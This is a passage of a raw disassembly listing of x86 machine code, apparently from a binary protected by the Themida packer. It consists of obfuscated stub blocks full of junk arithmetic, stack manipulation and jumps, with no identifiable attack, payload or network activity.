loc_596BEC: ; CODE XREF: sub_59196D-5FE3j
mov ebx, 0
jmp loc_592BB9
; ---------------------------------------------------------------------------
loc_596BF6: ; CODE XREF: sub_59196D+4F6Bj
push edx
mov dh, 76h
sub dh, 24h
xor dh, 6Dh
add ah, dh
jmp loc_594D95
; ---------------------------------------------------------------------------
loc_596C06: ; CODE XREF: sub_59196D+4901j
push eax
not [esp+24h+var_26+2]
pop eax
dec eax
sub eax, 4E3E43A7h
jmp loc_58DD3D
; ---------------------------------------------------------------------------
loc_596C16: ; CODE XREF: sub_59196D:loc_5958AAj
shl ebx, 5
js loc_597188
jmp loc_58BCEE
; ---------------------------------------------------------------------------
add ebp, 450F09CAh
pop edi
mov eax, ebp
loc_596C2D: ; CODE XREF: sub_59196D+39F8j
add eax, 1D740610h
sub eax, edi
sub eax, 1D740610h
push esi
mov esi, 6F0E7501h
sub esi, 9FD093Fh
add esi, 7A313264h
xor esi, 6B693992h
jmp loc_59480E
; ---------------------------------------------------------------------------
loc_596C56: ; CODE XREF: sub_59196D-58F9j
pop ebx
sub eax, 6AC00378h
add eax, ecx
add eax, 6AC00378h
pop ecx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_58DDF9
; ---------------------------------------------------------------------------
loc_596C72: ; CODE XREF: sub_59196D+68EDj
add edi, edx
jmp loc_58D571
; ---------------------------------------------------------------------------
loc_596C79: ; CODE XREF: sub_59196D+638Bj
add bh, 90h
add ch, 0CBh
jmp loc_5949FA
; ---------------------------------------------------------------------------
loc_596C84: ; CODE XREF: sub_59196D+1A5Cj
push 431Eh
mov [esp+20h+var_22+2], ebp
mov ebp, 58A14F1Dh
sub esp, 4
mov [esp+24h+var_26+2], esi
mov esi, 8E427BCh
mov edx, 4FBD2763h
add edx, esi
pop esi
xor edx, ebp
pop ebp
add eax, edx
pop edx
xchg eax, [esp+18h+var_1A+2]
mov esp, [esp+18h+var_1A+2]
idiv cx
push small 0E4Dh
mov word ptr [esp+1Ah+var_1A], dx
push ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596CC6: ; CODE XREF: sub_59196D+2A47j
pop ebx
mov ebx, [esp+24h+var_26+2]
add esp, 4
push ebx
jmp loc_58E0FB
; ---------------------------------------------------------------------------
loc_596CD6: ; CODE XREF: sub_59196D-654Bj
mov al, 2Ch
add bh, al
pop eax
mov cl, bh
pop ebx
jmp loc_5961CB
; ---------------------------------------------------------------------------
loc_596CE3: ; CODE XREF: sub_59196D-D21j
pop esi
xchg edx, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
add bl, 2Dh
jmp loc_5903E2
; ---------------------------------------------------------------------------
loc_596CF2: ; CODE XREF: sub_59196D-12C1j
inc ecx
add ecx, 0B0A6FBFBh
push 14EAh
jmp loc_595FF1
; ---------------------------------------------------------------------------
loc_596D03: ; CODE XREF: sub_59196D-42B2j
; sub_59196D-76Dj
mov ebx, [esp+14h+var_16+2]
add esp, 4
mov ecx, ebx
jmp loc_58D975
; ---------------------------------------------------------------------------
loc_596D13: ; CODE XREF: sub_59196D-2FEFj
xchg edx, [esp+24h+var_26+2]
jmp loc_5982CF
; ---------------------------------------------------------------------------
loc_596D1B: ; CODE XREF: sub_59196D+3C6Ej
jmp loc_5975B6
; ---------------------------------------------------------------------------
loc_596D20: ; CODE XREF: Themida_:0058F06Fj
and eax, ebp
pop ebp
neg eax
shl eax, 8
push ebx
jmp loc_58E2A5
; ---------------------------------------------------------------------------
loc_596D2E: ; CODE XREF: sub_59196D+3F5Fj
shr ecx, 0Bh
sub esp, 4
jmp loc_5938DE
; ---------------------------------------------------------------------------
loc_596D3C: ; CODE XREF: sub_59196D+977j
; sub_59196D+5571j
push ecx
mov ecx, 4FD879DEh
and ecx, 271200EBh
not ecx
sub ecx, 14F46AD3h
shr ecx, 8
dec ecx
push ebp
jmp loc_5985AB
; ---------------------------------------------------------------------------
loc_596D5A: ; CODE XREF: sub_59196D-1610j
push cx
pushf
jmp loc_59752A
; ---------------------------------------------------------------------------
loc_596D62: ; CODE XREF: sub_59196D+5BE8j
xor dh, 0A2h
add dh, 20h
and al, dh
mov edx, [esp+1Ah+var_1A]
add esp, 4
jmp loc_58FDB0
; ---------------------------------------------------------------------------
loc_596D75: ; CODE XREF: sub_59196D+138Bj
mov eax, esp
push 5FB3h
jmp loc_5933E6
; ---------------------------------------------------------------------------
loc_596D81: ; CODE XREF: sub_59196D+1EE8j
sub edx, 54744361h
dec edx
sub edx, 16C341C7h
sub edx, 0F98A1B55h
mov ebp, edx
mov edx, [esp+18h+var_1A+2]
add esp, 4
shl ebp, 8
push edi
mov edi, 569073F7h
add edi, 0F591D9BAh
jmp loc_594F1A
; ---------------------------------------------------------------------------
loc_596DB0: ; CODE XREF: sub_59196D+16F7j
; sub_59196D+577Cj
pop esp
add ebp, 4
push edi
mov edi, 4
jmp loc_594021
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
mov bh, 29h
add bh, 0C2h
jmp loc_5937E9
; ---------------------------------------------------------------------------
loc_596DD0: ; CODE XREF: sub_59196D-4A67j
push eax
mov eax, 3BBA3534h
push edx
mov edx, 511C4641h
add edx, 0AEE3B9BEh
add eax, edx
pop edx
jmp loc_59626C
; ---------------------------------------------------------------------------
loc_596DEA: ; CODE XREF: sub_59196D-4C45j
xor ecx, 76165A92h
add ecx, 0D41F2175h
jmp loc_5946B7
; ---------------------------------------------------------------------------
loc_596DFB: ; CODE XREF: sub_59196D-4520j
jo loc_593DBD
jmp loc_58D9B6
; ---------------------------------------------------------------------------
loc_596E06: ; CODE XREF: sub_59196D+641Dj
add edx, 4
add edx, 4
xor edx, [esp+34h+var_36+2]
jmp loc_591FED
; ---------------------------------------------------------------------------
loc_596E1A: ; CODE XREF: sub_59196D+449Aj
pop edi
jmp loc_59422F
; ---------------------------------------------------------------------------
loc_596E20: ; CODE XREF: sub_59196D+1BEBj
mov [esp+28h+var_2A+2], edi
pop ebx
pop edi
jmp loc_590CA2
; ---------------------------------------------------------------------------
loc_596E2A: ; CODE XREF: sub_59196D-18B1j
; sub_59196D-ABEj
sub dl, 47h
jmp loc_5955CF
; ---------------------------------------------------------------------------
loc_596E32: ; CODE XREF: sub_59196D-3FBCj
mov ecx, 0FDCFD857h
sub edi, ecx
pop ecx
add ecx, edi
pop edi
add ecx, 2
xchg ecx, [esp+0Ch+var_C]
pop esp
dec word ptr [esp+8+var_8]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596E51: ; CODE XREF: sub_59196D-36DBj
pop esi
pop [esp+28h+var_2A+2]
pop esp
and [esp+20h+var_22+2], eax
pushf
jmp loc_58F284
; ---------------------------------------------------------------------------
loc_596E5F: ; CODE XREF: sub_59196D+623Cj
pop eax
add eax, 4
push edi
push eax
mov eax, 10747255h
xor eax, 10747251h
jmp loc_5960BB
; ---------------------------------------------------------------------------
loc_596E76: ; CODE XREF: sub_59196D+A95j
sub ebx, ebp
pop ebp
pop edx
push ebp
jmp loc_592173
; ---------------------------------------------------------------------------
loc_596E80: ; CODE XREF: sub_59196D-5347j
; sub_59196D+A08j
not dl
jmp loc_5900BA
; ---------------------------------------------------------------------------
loc_596E87: ; CODE XREF: sub_59196D+279j
pop esi
shr esi, 5
jz loc_58D1D1
add esi, 3DC67BABh
jnb loc_592F4D
xor esi, 2B7B0F78h
js loc_58D490
push edi
loc_596EAA: ; CODE XREF: sub_59196D+617Cj
mov ebp, 2FD326C9h
push 4B5Dh
jmp loc_58D6F8
; ---------------------------------------------------------------------------
loc_596EB9: ; CODE XREF: sub_59196D+38BFj
push ebx
mov ebx, 0F5DE3D7Bh
mov ebp, ebx
mov ebx, [esp+18h+var_1A+2]
add esp, 4
add ebx, ebp
mov ebp, [esp+14h+var_16+2]
add esp, 4
add edi, ebx
pop ebx
jmp loc_58F55B
; ---------------------------------------------------------------------------
loc_596EDD: ; CODE XREF: sub_59196D+429Aj
pop ebp
jmp loc_596D3C
; ---------------------------------------------------------------------------
loc_596EE3: ; DATA XREF: Themida_:0058B0FCo
xor byte ptr [esp+18h+var_1A+2], al
xor al, byte ptr [esp+18h+var_1A+2]
xor byte ptr [esp+18h+var_1A+2], al
xor al, dh
jmp loc_597E5D
; ---------------------------------------------------------------------------
loc_596EF3: ; CODE XREF: sub_59196D+592Fj
sub ecx, 6F0566B3h
pop edi
jmp loc_592979
; ---------------------------------------------------------------------------
loc_596EFF: ; CODE XREF: sub_59196D-C35j
add bl, 66h
push eax
mov al, 0E6h
jmp loc_5932D4
; ---------------------------------------------------------------------------
loc_596F0A: ; CODE XREF: sub_59196D-77Bj
sub al, 3Fh
jmp loc_5945A3
; ---------------------------------------------------------------------------
loc_596F11: ; CODE XREF: sub_59196D-3429j
pop esi
xor ebx, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], ebx
xor ebx, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
add esp, 4
push ebx
push eax
push ebx
mov ebx, edi
push 62F4h
mov [esp+28h+var_2A+2], edi
push ebx
mov edi, [esp+2Ch+var_2E+2]
jmp loc_5969AE
; ---------------------------------------------------------------------------
loc_596F3A: ; CODE XREF: sub_59196D+18E4j
mov ebx, 6F0B279Fh
push esi
jmp loc_596281
; ---------------------------------------------------------------------------
loc_596F45: ; CODE XREF: sub_5918E7-19EAj
; sub_59196D+949j
pop [esp+24h+var_26+2]
jmp loc_594C5D
; ---------------------------------------------------------------------------
loc_596F4D: ; CODE XREF: sub_59196D-3AF9j
jns loc_58D4C7
push esi
push edx
mov edx, 7A2044AFh
mov esi, 96B765A4h
mov eax, eax
push esp
loc_596F62: ; CODE XREF: sub_59196D+1F53j
push esp
jmp loc_5951C2
; ---------------------------------------------------------------------------
loc_596F68: ; CODE XREF: sub_59196D:loc_594DC5j
push edx
jmp loc_594616
; ---------------------------------------------------------------------------
loc_596F6E: ; CODE XREF: sub_59196D:loc_58D347j
neg eax
jo loc_58EEE5
sub eax, 6EF96C2Fh
js loc_593508
jmp loc_5933CE
; ---------------------------------------------------------------------------
add esp, 4
mov edx, [esp+0]
loc_596F8C: ; CODE XREF: sub_59196D-4686j
pop esi
xchg ebp, [esp+42h+var_44+2]
pop esp
xchg ebp, [esp+3Eh+var_40+2]
mov esp, [esp+3Eh+var_40+2]
jmp loc_5903A3
; ---------------------------------------------------------------------------
loc_596F9C: ; CODE XREF: sub_59196D+5D43j
push eax
mov eax, 3E374B76h
neg eax
neg eax
and eax, 423306D4h
neg eax
sub eax, 0CA009568h
add edx, 1A7464Ah
jmp loc_58B38A
; ---------------------------------------------------------------------------
loc_596FBD: ; CODE XREF: sub_59196D+40DCj
movzx ax, byte ptr [eax]
sub esp, 4
mov [esp+18h+var_1A+2], ecx
jmp loc_58B3CB
; ---------------------------------------------------------------------------
loc_596FCC: ; CODE XREF: sub_59196D-39B3j
xor ebx, [esp+32h+var_32]
pop esp
mov [esp+2Eh+var_2E], eax
mov al, 0F0h
add al, 85h
jbe loc_5975F7
dec al
jnp loc_593A4C
dec al
loc_596FE7: ; CODE XREF: sub_59196D+377Bj
mov edx, 2
sub esi, 7D757527h
add esi, edx
push ebp
mov ebp, 1813583Eh
sub ebp, 6756425Ch
shl ebp, 1
push esi
push edi
jmp loc_58B9FF
; ---------------------------------------------------------------------------
loc_597009: ; CODE XREF: sub_59196D+2963j
pop esp
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59700F: ; CODE XREF: sub_59196D-4301j
add ebx, ebp
pop ebp
xchg ebx, [esp+30h+var_32+2]
pop esp
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59701B: ; CODE XREF: sub_59196D+4E97j
sub eax, esi
pop esi
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597023: ; CODE XREF: sub_59196D-5EFCj
push [esp+14h+var_16+2]
jmp loc_5940DF
; ---------------------------------------------------------------------------
loc_59702B: ; CODE XREF: sub_59196D+4424j
xor edi, 6825AAF5h
push edi
xor [esp+14h+var_16+2], 3F381384h
jmp loc_58F57D
; ---------------------------------------------------------------------------
loc_59703E: ; CODE XREF: sub_59196D+1E61j
or edx, 418A6F8Eh
add edx, 0F24EE73Bh
add [edi+20h], edx
pop edx
jmp loc_58F587
; ---------------------------------------------------------------------------
loc_597053: ; CODE XREF: sub_59196D+5AA9j
shr ecx, 8
jmp loc_591FC4
; ---------------------------------------------------------------------------
loc_59705B: ; CODE XREF: sub_59196D+1724j
mov edi, 579E2DF5h
jmp loc_596B5C
; ---------------------------------------------------------------------------
loc_597065: ; CODE XREF: sub_59196D-15ABj
mov ch, dl
pop edx
sub esp, 4
mov [esp+14h+var_16+2], edx
mov dh, 0DFh
sub dh, 0FFh
and dh, 0F5h
jmp loc_58F823
; ---------------------------------------------------------------------------
loc_59707B: ; DATA XREF: Themida_:0058B198o
mov ax, word ptr [esp+14h+var_16+2]
push ecx
push 295h
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
mov ecx, [esp+1Ch+var_1E+2]
push edx
push esp
pop edx
add edx, 4
jmp loc_5956EE
; ---------------------------------------------------------------------------
loc_59709D: ; CODE XREF: Themida_:00591708j
; sub_59196D+106Aj
push 38Fh
mov [esp+0], ebp
jmp loc_59209A
; ---------------------------------------------------------------------------
loc_5970AA: ; CODE XREF: sub_59196D-64D3j
xor ah, 28h
jo loc_593C7F
and ah, 28h
not ah
sub ah, 47h
push ebx
jmp loc_58C8F5
; ---------------------------------------------------------------------------
loc_5970C1: ; CODE XREF: sub_59196D+44Dj
push edi
push 361D27E6h
pop edi
neg edi
neg edi
jmp loc_58D13B
; ---------------------------------------------------------------------------
loc_5970D1: ; CODE XREF: sub_59196D+4280j
mov esi, esp
jmp loc_58D060
; ---------------------------------------------------------------------------
loc_5970D8: ; CODE XREF: sub_59196D+22F6j
push edx
jmp loc_59814D
; ---------------------------------------------------------------------------
loc_5970DE: ; CODE XREF: sub_59196D-376Fj
js loc_595231
or eax, 1FF07952h
jle loc_596DB0
jmp loc_58CD2D
; ---------------------------------------------------------------------------
loc_5970F4: ; CODE XREF: sub_59196D+C3Bj
or edx, 63350DB9h
ja loc_5955F6
sub edx, 6F752D81h
jmp loc_58CB21
; ---------------------------------------------------------------------------
pop ecx
mov al, ah
loc_59710E: ; CODE XREF: sub_59196D+E7j
add eax, 4E763204h
or edi, eax
pop eax
dec edi
shr edi, 7
xor edi, 2E16E14Bh
add edx, edi
pop edi
push dword ptr [edx]
pop eax
pop edx
push dword ptr [edi+eax*4]
xor [esp+12h+var_12], 0CC752E5h
push [esp+12h+var_12]
pop eax
push edx
jmp loc_593ECA
; ---------------------------------------------------------------------------
loc_59713B: ; CODE XREF: Themida_:0058DCD8j
push 3039785Fh
mov ecx, [esp+1Ah+var_1A]
push esi
jmp loc_58C47F
; ---------------------------------------------------------------------------
loc_597149: ; CODE XREF: sub_59196D-5C3Ej
add bl, ah
mov ax, word ptr [esp+2Ah+var_2A]
add esp, 2
sub bl, al
jmp loc_58DCDD
; ---------------------------------------------------------------------------
loc_59715C: ; CODE XREF: sub_59196D+4C29j
add esp, 4
dec edx
jmp loc_597961
; ---------------------------------------------------------------------------
loc_597168: ; CODE XREF: sub_59196D-1428j
pop edx
sub al, 61h
jmp loc_595637
; ---------------------------------------------------------------------------
loc_597170: ; CODE XREF: sub_59196D-2BA5j
sub ecx, esi
sub esp, 4
mov [esp+3Ah+var_3C+2], ebp
jmp loc_595E85
; ---------------------------------------------------------------------------
loc_59717D: ; CODE XREF: sub_59196D:loc_5914D6j
sub esi, 0BBCB5B60h
jmp loc_58EA3A
; ---------------------------------------------------------------------------
loc_597188: ; CODE XREF: sub_59196D+52ACj
jmp loc_59682A
; ---------------------------------------------------------------------------
loc_59718D: ; CODE XREF: sub_59196D-4513j
; sub_59196D:loc_596495j ...
add ebp, 450F09CAh
pop edi
xor ebp, [esp+30h+var_32+2]
xor [esp+30h+var_32+2], ebp
xor ebp, [esp+30h+var_32+2]
mov esp, [esp+30h+var_32+2]
shl [esp+30h+var_32+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5971A9: ; CODE XREF: sub_59196D+1136j
xchg edx, [esp+0]
mov esp, [esp+0]
add esp, 4
push [esp+0Ah+var_C+2]
pop eax
jmp loc_596318
; ---------------------------------------------------------------------------
loc_5971BE: ; CODE XREF: sub_59196D+4EB8j
push 5ABA1924h
jmp loc_59726F
; ---------------------------------------------------------------------------
loc_5971C8: ; CODE XREF: sub_59196D+6140j
or eax, edx
pop edx
add eax, 0A4888298h
mov edi, eax
pop eax
add [esp+34h+var_32+2], edi
mov edi, [esp+34h+var_36+2]
jmp loc_5955B9
; ---------------------------------------------------------------------------
loc_5971DF: ; CODE XREF: sub_59196D+9FFj
pop ebp
add esi, ebx
push [esp+10h+var_12+2]
pop ebx
add esp, 4
jmp loc_58BAE2
; ---------------------------------------------------------------------------
loc_5971EE: ; CODE XREF: sub_59196D+14D9j
shl esi, 2
jmp loc_59657B
; ---------------------------------------------------------------------------
loc_5971F6: ; CODE XREF: sub_59196D+674Aj
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5969EA
; ---------------------------------------------------------------------------
loc_59720A: ; CODE XREF: sub_59196D+50C7j
sub eax, esi
jmp loc_58DE0B
; ---------------------------------------------------------------------------
loc_597211: ; CODE XREF: sub_59196D-10BAj
inc dl
dec dl
jmp loc_5903BF
; ---------------------------------------------------------------------------
loc_59721A: ; CODE XREF: sub_59196D+851j
add edi, 4
xchg edi, [esp+24h+var_26+2]
pop esp
mov edx, [esp+20h+var_22+2]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, 73382460h
add ebx, ebp
push edx
mov edx, 73382460h
sub ebx, edx
pop edx
jmp loc_592C38
; ---------------------------------------------------------------------------
loc_59724C: ; CODE XREF: sub_59196D-2F5Ej
; sub_59196D+4BF2j
mov ebx, 200A0239h
shr ebx, 8
push ecx
mov ecx, 6AA58FCh
add ebx, ecx
pop ecx
add eax, ebx
pop ebx
mov esi, [esp+18h+var_1A+2]
jmp loc_5963CD
; ---------------------------------------------------------------------------
loc_597268: ; CODE XREF: sub_59196D-5BA3j
mov edx, ebx
jmp loc_5937B8
; ---------------------------------------------------------------------------
loc_59726F: ; CODE XREF: sub_59196D+5856j
pop eax
and eax, 24D67FAh
xor eax, 6C3F01DBh
mov ebx, eax
mov eax, [esp+0]
add esp, 4
mov ecx, 361D3242h
xor ecx, ebx
jmp loc_58C9E2
; ---------------------------------------------------------------------------
loc_59728E: ; CODE XREF: sub_59196D+B5j
xor edi, 0CCD3C82Dh
add ecx, 6F0566B3h
sub ecx, edi
jmp loc_596EF3
; ---------------------------------------------------------------------------
loc_5972A1: ; CODE XREF: sub_59196D-1540j
add ebx, edx
pop edx
jmp loc_58B6E0
; ---------------------------------------------------------------------------
loc_5972A9: ; CODE XREF: sub_59196D+5B58j
mov word ptr [esp-4+arg_0], cx
movzx cx, al
push cx
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5972B9: ; CODE XREF: sub_59196D-1B26j
add esi, 4
add esi, 4
xchg esi, [esp+14h+var_16+2]
pop esp
pop [esp+10h+var_12+2]
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], ebx
mov eax, [esp+0Ch+var_C]
jmp loc_58EF98
; ---------------------------------------------------------------------------
loc_5972D7: ; CODE XREF: sub_59196D+1F3Cj
mov [esp+4+var_4], ebx
jmp loc_58EAAE
; ---------------------------------------------------------------------------
loc_5972DF: ; CODE XREF: sub_58E5BF+1Ej
mov ebx, ebp
pop ebp
mov eax, ebx
pop ebx
add esi, eax
push [esp-4+arg_0]
pop eax
add esp, 4
add esi, 4
xchg esi, [esp-8+arg_4]
jmp loc_595387
; ---------------------------------------------------------------------------
loc_5972FF: ; CODE XREF: sub_59196D+4821j
add al, bl
jmp loc_5927C9
; ---------------------------------------------------------------------------
loc_597306: ; CODE XREF: sub_59196D-4D92j
mov ebx, 3EAE70F0h
add esi, 107873ABh
sub esi, ebx
sub esi, 107873ABh
mov ebx, [esp+30h+var_32+2]
add esp, 4
sub esi, 25410BC6h
add esi, ebp
add esi, 25410BC6h
push eax
mov eax, 710637EFh
add eax, 0CDA83901h
add esi, eax
pop eax
push [esp+2Ch+var_2E+2]
pop ebp
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp+30h+var_32+2]
xor [esp+30h+var_32+2], edi
xor edi, [esp+30h+var_32+2]
pop esp
jmp loc_58BCEE
; ---------------------------------------------------------------------------
loc_59735D: ; CODE XREF: sub_59196D:loc_58C2B0j
xor eax, 1B6985h
xor ecx, eax
push [esp+18h+var_1A+2]
jmp loc_59420B
; ---------------------------------------------------------------------------
loc_59736C: ; CODE XREF: sub_59196D+51Cj
pop edx
jmp loc_58C947
; ---------------------------------------------------------------------------
loc_597372: ; CODE XREF: sub_59196D+5AE2j
and dh, 2Bh
ja loc_5946EB
xor dh, 0C4h
mov bl, dh
jmp loc_5979A9
; ---------------------------------------------------------------------------
loc_597385: ; CODE XREF: sub_59196D-40FAj
add ecx, 4
xchg ecx, [esp+4Eh+var_4E]
pop esp
push edi
mov edi, 0B0D3B22h
add edi, 0F4F2C4E2h
add ebp, edi
jmp loc_58D552
; ---------------------------------------------------------------------------
loc_59739F: ; DATA XREF: Themida_:0058B108o
mov ax, word ptr [esp+4Eh+var_4E]
push edi
push 523Dh
mov [esp+0], esp
jmp loc_595C9C
; ---------------------------------------------------------------------------
loc_5973B1: ; CODE XREF: sub_59196D+FE7j
inc ecx
jmp loc_58D243
; ---------------------------------------------------------------------------
loc_5973B7: ; CODE XREF: sub_59196D+42FAj
sub eax, 132A438Dh
add eax, ebp
add eax, 132A438Dh
jmp loc_58DB57
; ---------------------------------------------------------------------------
loc_5973C8: ; CODE XREF: sub_59196D+312Fj
xor edx, 54EA4BE0h
inc edx
add edx, 100A3438h
jmp loc_597AB2
; ---------------------------------------------------------------------------
loc_5973DA: ; CODE XREF: sub_59196D-140Ej
xor ebp, [esp+2Ah+var_2A]
jmp loc_58B998
; ---------------------------------------------------------------------------
loc_5973E2: ; CODE XREF: sub_59196D-FDEj
neg ebp
sub ebp, 0EA2D24CCh
jmp loc_58D484
; ---------------------------------------------------------------------------
shl ecx, 2
and ecx, 6BC70545h
push ebp
jmp loc_58EBD2
; ---------------------------------------------------------------------------
loc_5973FE: ; CODE XREF: sub_59196D+ADAj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597403: ; CODE XREF: sub_59196D+25Dj
add esp, 4
push 4CDEh
jmp loc_58F9B8
; ---------------------------------------------------------------------------
loc_597413: ; CODE XREF: sub_59196D-1BEj
shr ecx, 6
jmp loc_597053
; ---------------------------------------------------------------------------
loc_59741B: ; CODE XREF: sub_59196D-4DBFj
mov [esp+30h+var_32+2], esi
push eax
jmp loc_58F6E1
; ---------------------------------------------------------------------------
loc_597424: ; CODE XREF: sub_59196D+5E23j
push 775545F9h
pop ebx
shr ebx, 3
jmp loc_58F7FE
; ---------------------------------------------------------------------------
loc_597432: ; CODE XREF: sub_59196D-93j
add ebp, 30F717B4h
push eax
mov eax, 0E8CD1DC3h
add ebp, eax
mov eax, [esp+18h+var_1A+2]
add esp, 4
xor eax, ebp
jmp loc_58E1FB
; ---------------------------------------------------------------------------
loc_59744D: ; CODE XREF: sub_59196D:loc_58C28Ej
inc dh
jle loc_597372
and dh, 2Bh
ja loc_59361E
xor dh, 0C4h
mov bl, dh
mov edx, [esp+10h+var_12+2]
add esp, 4
push eax
mov al, bl
mov dl, al
mov eax, [esp+10h+var_12+2]
push esi
mov esi, esp
jmp loc_595E6E
; ---------------------------------------------------------------------------
loc_597479: ; CODE XREF: sub_59196D-1A4j
xor esi, 461B7A95h
mov ebp, esi
pop esi
add edx, ebp
pop ebp
pop ebp
push edx
push ecx
mov ecx, 348E5585h
sub [esp+8+var_4], ecx
pop ecx
pop ecx
push esi
mov esi, 348E5585h
add ecx, esi
jmp loc_58B8A0
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_59859A
; ---------------------------------------------------------------------------
loc_5974A8: ; CODE XREF: sub_59196D-21E7j
sub esi, 4
xor esi, [esp+2+var_4+2]
xor [esp+2+var_4+2], esi
xor esi, [esp+2+var_4+2]
pop esp
mov [esp+0], edi
jmp loc_58B92D
; ---------------------------------------------------------------------------
loc_5974BD: ; CODE XREF: sub_59196D-2DBj
movzx cx, ah
push small 2F04h
jmp loc_5972A9
; ---------------------------------------------------------------------------
loc_5974CA: ; CODE XREF: sub_59196D+321Cj
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
pop esp
rep movsd
add esp, [edx+38h]
push ebx
mov ebx, 38h
sub ebx, 548A1384h
add ebx, edx
push edx
mov edx, 548A1384h
jmp loc_592DE6
; ---------------------------------------------------------------------------
loc_5974FD: ; CODE XREF: sub_59196D-205j
mov ecx, esp
jmp loc_58D8D1
; ---------------------------------------------------------------------------
loc_597504: ; CODE XREF: sub_59196D-5ADFj
mov edi, ebp
mov ebp, [esp+3Eh+var_40+2]
add esp, 4
add [esp+3Ah+var_36], edi
pop edi
jmp loc_59860D
; ---------------------------------------------------------------------------
loc_597516: ; CODE XREF: sub_59196D+E71j
jbe loc_58C293
not cl
push edx
mov dl, 24h
shl dl, 7
shl dl, 2
mov bl, 0CDh
pop ebx
loc_59752A: ; CODE XREF: sub_59196D+53F0j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59752F: ; CODE XREF: sub_59196D+1AEFj
mov edx, ebx
pop ebx
add edx, ebx
pop ebx
mov ecx, edx
push [esp+0Ch+var_C]
pop edx
jmp loc_594820
; ---------------------------------------------------------------------------
loc_597540: ; CODE XREF: sub_59196D-641Aj
sub ebp, ebx
pop ebx
push edx
mov edx, 3565124Ch
push edx
jmp loc_592D0B
; ---------------------------------------------------------------------------
loc_59754F: ; CODE XREF: sub_59196D+39EBj
add esp, 2
jmp loc_596D62
; ---------------------------------------------------------------------------
loc_59755A: ; CODE XREF: sub_59196D-B98j
sub edi, edx
pop edx
xchg edi, [esp+0]
pop esp
mov [esp+52h+var_54+2], eax
mov ah, dl
mov bh, ah
mov eax, [esp+52h+var_54+2]
add esp, 4
mov al, bh
mov ebx, [esp+4Eh+var_4E]
add esp, 4
mov cl, al
pop eax
push ebx
jmp loc_58E36C
; ---------------------------------------------------------------------------
loc_59757F: ; CODE XREF: sub_59196D-AD2j
sub esp, 4
mov [esp+20h+var_22+2], eax
push ebx
mov bh, 0BEh
not bh
dec bh
add bh, 25h
mov ah, bh
pop ebx
sub ah, 0D2h
mov ch, ah
jmp loc_58EBA9
; ---------------------------------------------------------------------------
loc_59759C: ; CODE XREF: sub_59196D-4BC6j
; sub_59196D-15A0j
pop ebp
xchg edx, [esp+36h+var_36]
pop esp
push 2528h
jmp loc_590FCC
; ---------------------------------------------------------------------------
loc_5975AB: ; CODE XREF: sub_59196D+46A8j
add esp, 4
jmp loc_58BABD
; ---------------------------------------------------------------------------
loc_5975B6: ; CODE XREF: sub_59196D+2850j
; sub_59196D:loc_596D1Bj
not al
sub al, 0F7h
mov bl, al
pop eax
sub al, 91h
add al, bl
add al, 91h
mov bx, [esp+0]
jmp loc_58CBBE
; ---------------------------------------------------------------------------
loc_5975CC: ; CODE XREF: sub_59196D+E36j
jmp loc_592371
; ---------------------------------------------------------------------------
loc_5975D1: ; CODE XREF: sub_59196D-2E48j
mov cl, 0FDh
dec cl
jmp loc_58F61D
; ---------------------------------------------------------------------------
loc_5975DA: ; CODE XREF: sub_59196D+8A7j
add ecx, 89C8A74Fh
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp+2Ch+var_2E+2]
jmp loc_58CFAE
; ---------------------------------------------------------------------------
loc_5975F1: ; CODE XREF: sub_59196D-2C6j
push edi
jmp loc_58F790
; ---------------------------------------------------------------------------
loc_5975F7: ; CODE XREF: sub_59196D+566Aj
dec al
jnp loc_5959F5
dec al
jo loc_596986
add al, 1Eh
js loc_597850
xor al, 37h
mov bl, al
push [esp+2Eh+var_2E]
pop eax
mov al, bh
push ebx
loc_59761A: ; CODE XREF: sub_59196D-4420j
push 1E0Dh
mov [esp+36h+var_36], edi
mov edi, ebx
mov eax, edi
mov edi, [esp+36h+var_36]
add esp, 4
jmp loc_58F8BF
; ---------------------------------------------------------------------------
loc_597631: ; CODE XREF: sub_59196D+2590j
pop esp
push [esp+22h+var_22]
pop eax
sub esp, 4
mov [esp+26h+var_26], ecx
push 5D6Ch
push 5B59h
jmp loc_59340F
; ---------------------------------------------------------------------------
loc_59764E: ; CODE XREF: sub_59196D+7C4j
add esi, 4
xor esi, [esp+32h+var_32]
xor [esp+32h+var_32], esi
xor esi, [esp+32h+var_32]
jmp loc_594E19
; ---------------------------------------------------------------------------
loc_597662: ; CODE XREF: sub_58B8EB+6j
mov [esp+32h+var_32], eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp+36h+var_36], ecx
push edx
mov edx, 4785112h
push ebx
mov ebx, 27C4383Bh
xor ebx, 2B13628Bh
js loc_5984A0
and ebx, 0F8146BBh
jnb loc_58C572
sub ebx, 9C148D21h
mov ecx, ebx
jmp loc_595910
; ---------------------------------------------------------------------------
loc_5976A3: ; CODE XREF: sub_59196D-5032j
sub esp, 4
mov [esp+42h+var_44+2], edi
push edx
jmp loc_595C6C
; ---------------------------------------------------------------------------
loc_5976AF: ; CODE XREF: sub_59196D-AE6j
pop edx
jmp loc_596F9C
; ---------------------------------------------------------------------------
loc_5976B5: ; CODE XREF: sub_59196D-15CFj
add esp, 4
jmp loc_58F041
